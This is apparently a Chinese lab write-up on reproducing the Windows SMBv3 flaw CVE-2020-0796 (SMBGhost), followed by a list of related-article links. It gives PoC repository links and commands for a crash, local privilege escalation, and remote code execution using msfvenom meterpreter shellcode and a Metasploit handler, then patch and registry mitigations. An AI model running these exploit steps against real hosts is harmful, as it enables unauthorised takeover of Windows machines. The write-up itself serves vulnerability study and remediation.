0x01 漏洞介绍

2020年3月10日,微软在其官方SRC发布了CVE-2020-0796的安全公告(ADV200005,Microsoft Guidance for Disabling SMBv3 Compression),公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中,攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码。

0x02 漏洞影响系统版本

  • 适用于32位系统的Windows 10版本1903

  • Windows 10 1903版(用于基于x64的系统)

  • Windows 10 1903版(用于基于ARM64的系统)

  • Windows Server 1903版(服务器核心安装)

  • 适用于32位系统的Windows 10版本1909

  • Windows 10版本1909(用于基于x64的系统)

  • Windows 10 1909版(用于基于ARM64的系统)

  • Windows Server版本1909(服务器核心安装)

0x03 漏洞环境

kali:192.168.44.128

靶机win10:192.168.44.138

永痕之黑 CVE-2020-0796 补丁编号:KB4551762

Tips:在我查看WIN10补丁时,没有看到这个补丁,当我使用检测工具检测时,发现靶机并没有这个漏洞。于是我卸载掉了5月份的一个补丁,和6月份的补丁,再次检测时,发现有这个漏洞了,感觉比较奇妙吧,记录一下。如果不想卸载补丁的话,可以重新装一台WIN10,下载链接:http://msdn.itellyou.cn/ 自己找想要的版本就好了,复现的话,最好停止win10自动更新。

0x04 漏洞复现

1.漏洞检测

漏洞检测工具有很多,个人比较推荐奇安信写的检测脚本

http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

直接在cmd中拖CVE-2020-0796-Scaner.exe运行,输入IP,即可完成检测。

Tips:靶机需要关闭防火墙,不然扫描是扫不到的。

2.漏洞利用

蓝屏POC:https://github.com/eerykitty/CVE-2020-0796-PoC

在Kali下我们执行如下命令:

git clone https://github.com/eerykitty/CVE-2020-0796-PoC.gitpython3 setup.py installpython3 CVE-2020-0796.py 192.168.44.138

Tips:这里需要python3的环境,如果你的kali是python2的话,最好切换python3,当然我并没有尝试过python2去利用,大家可以自己尝试一下可不可行。

在kali上执行脚本后,靶机win10就成这样了,然后自动重启。

3.提权利用

a.本地提权。

本地提权POC:https://github.com/danigargu/CVE-2020-0796/releases/download/v1.0/cve-2020-0796-local_static.zip

建立了一个普通账户hack

下面我们把提取exe传上去,执行它。

本地普通用户执行提权exe后弹出cmd窗口,成功获取system权限。

b.远程利用:

远程漏洞利用POC:https://github.com/chompie1337/SMBGhost_RCE_PoC

1.使用msfvenom生成木马

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b ‘\x00’ -i 1 -f python

将生成的 shellcode 替换 POC 中 exploit.py 里的USER_PAYLOAD字段,注意要将buf替换为USER_PAYLOAD。

2.开启msf监听

use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset RHOST 192.168.44.138run

然后run,开始监听4444端口。

3.运行POC,建立连接。

连接成功,成功拿到shell.~

总结:在复现的过程中,遇到了很多坑,如下

1.明明检测的时候是可以的,。。但是复现的时候它就自动打上了补丁,执行POC的时候会显示[-] physical read primitive failed!,然后就拿不到shell,导致我疑惑了很久,然后当我发现这个问题时,这个新打的补丁居然是无法卸载的,重新安装了一个win10 1903,才复现成功。

2.补丁号不一定是KB4551762,可能补丁合在一起变成了一个补丁吧。(猜测)

0x04 漏洞修复

1) 及时更新微软针对该漏洞所发布的的修复补丁(KB4551762)

ADV200005 | Microsoft Guidance for Disabling SMBv3 Compression

March 12, 2020—KB4551762 (OS Builds 18362.720 and 18363.720)

2)在注册表中建立一个名为 DisableCompression 的 DWORD (值为1) ,以禁用SMBv3的压缩功能:

powershell 中键入

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force

3)关闭445端口。

cve-2020-0796_CVE20200796 | Windows SMBv3客户端/永痕之黑漏洞复现相关推荐

  1. MS08-067远程代码执行漏洞(CVE-2008-4250) | Windows Server服务RPC请求缓冲区溢出漏洞复现

    MS08-067远程代码执行漏洞(CVE-2008-4250) | Windows Server服务RPC请求缓冲区溢出漏洞复现 文章目录 MS08-067远程代码执行漏洞(CVE-2008-4250 ...

  2. Windows网络服务渗透测试实战MS17-010漏洞复现

    一.实验项目名称 Windows网络服务渗透测试实战MS17-010漏洞复现 二.实验目的及要求 熟悉Metasploit终端的使用方法: 掌握对MS17-010漏洞攻击的方法. 三.复现步骤(附加文 ...

  3. Windows系统利用5次shift维权漏洞复现

    操作系统: Windows 7 旗舰版 工具: kali系统的msfconsole 5次shift维权原理 Windows系统中,5次shift键可以触发粘滞键,也就是C:\Windows\Syste ...

  4. 【权限提升】windows平台-提权项目MSFCS溢出漏洞

    基本知识点 Windows系统内置了许多本地用户组,这些用户组本身都已经被赋予一些权限(permissions),它们具有管理本地计算机或访问本地资源的权限.只要用户账户加入到这些本地组内,这回用户账 ...

  5. 什么是cve什么是cwe_什么是CVE 2020 0601又名Curveball,为何如此危险

    什么是cve什么是cwe Monday the 13th of January Brian Krebs published on his blog that he had sources tellin ...

  6. windows文件共享客户端的一些事——samba文件共享

    =>事情原由(猜的):把一些虚拟网卡(比如VPN) 右键卸载,不知道何时,发现windows 无法访问vmware 中Ubuntu 的samba了,对于不用VI 编辑代码的码农来讲,我的天啊. ...

  7. Windows 8 客户端预览版(Consumer Preview)抢先体验

    大家期盼已久的Windows 8客户端预览版今天终于拿到ISO了.废话就不多说了,让我们一起来体验一下CPE和之前的DPE(开发预览版)究竟有什么变化. 安装开始,果真是一条鱼的欢迎界面. 第二个界面 ...

  8. 深入探究Windows平台客户端安全问题-进程地址空间入侵和白加黑高阶利用

    标 题: 深入探究Windows平台客户端安全问题-进程地址空间入侵和白加黑高阶利用 时 间: 2014-09-08,00:03:51 前言 为了避免被读者骂"标题党",笔者在文章 ...

  9. windows ntp客户端配置,连接linux npt服务。

    服务器操作系统使用的centos系统.服务器之间通过NTP服务进行时间同步,客户端使用的window,需要同步服务端的时间. 配置windows ntp客户端步骤如下: 运行gpedit.msc 点击 ...

最新文章

  1. CentOS7(64位)查看CPU和NVIDIA显卡温度
  2. 应用丨AI和机器学习如何改变美国政府决策方式
  3. mysql 5.6 与5.7 区别_mysql5.6和5.7的区别
  4. 李战java_李战:悟透JavaScript
  5. python【蓝桥杯vip练习题库】ALGO-87字串统计(暴力)
  6. ai如何旋转画布_Ai绘制科技感晶格球体!
  7. Alpha预乘-混合与不混合[转]
  8. ADO学习(一)基础理论
  9. 如何使用HTML,CSS和JavaScript构建技巧计算器
  10. go linux 源码编译环境,修改并编译golang源码
  11. 原生js实现jquery库中选择器的功能(jquery库封装一)
  12. linux tomcat守护_linux-非root用户运行tomcat(示例代码)
  13. 【实用工具】交叉编译android版本的GDB
  14. Java代码计算2019新个税
  15. 【重要】有三AI知识星球不再对外公开!还想加入的有哪些途径?
  16. 实现数组的两两分组,任意倍数分组
  17. Docker容器指定映射端口启动redis
  18. 《磨菇书三四章整理》
  19. 一分钟之内搭建自己的直播服务器?
  20. 3D建模教程:3DMAX制作电视机模型!

热门文章

  1. wscript.exe无法打开vbs_如何恶搞朋友的电脑?超简单的vbs代码
  2. linux既能归档也能压缩的命令,Linux压缩及归档
  3. 初分配和再分配图解_针织好看暖和的儿童帽子图解教程,宝妈们千万不要错过...
  4. 惠普g260鼠标宏软件_电竞外设再添新成员,微星DS102电竞鼠标正式发布
  5. java eden区_(转)可能是把Java内存区域讲的最清楚的一篇文章
  6. apimac版 java_jdk1.8 mac官方下载-Java SE Development Kit 8 mac下载8u181 官方最新版__西西软件下载...
  7. php驱动下载好后安装在哪里,没网如何安装网卡驱动
  8. linux proc io,在/proc/[pid]/io 中,理解计数器_linux-kernel_开发99编程知识库
  9. c++ vscode 第三方库_请教下,vscode中怎么编译带第三方库的文件呢?谢谢! - C++程序设计语言 - CPlusPlus - 水木社区...
  10. java 私有成员方法_Java Reflection 教程(7):类私有成员变量和方法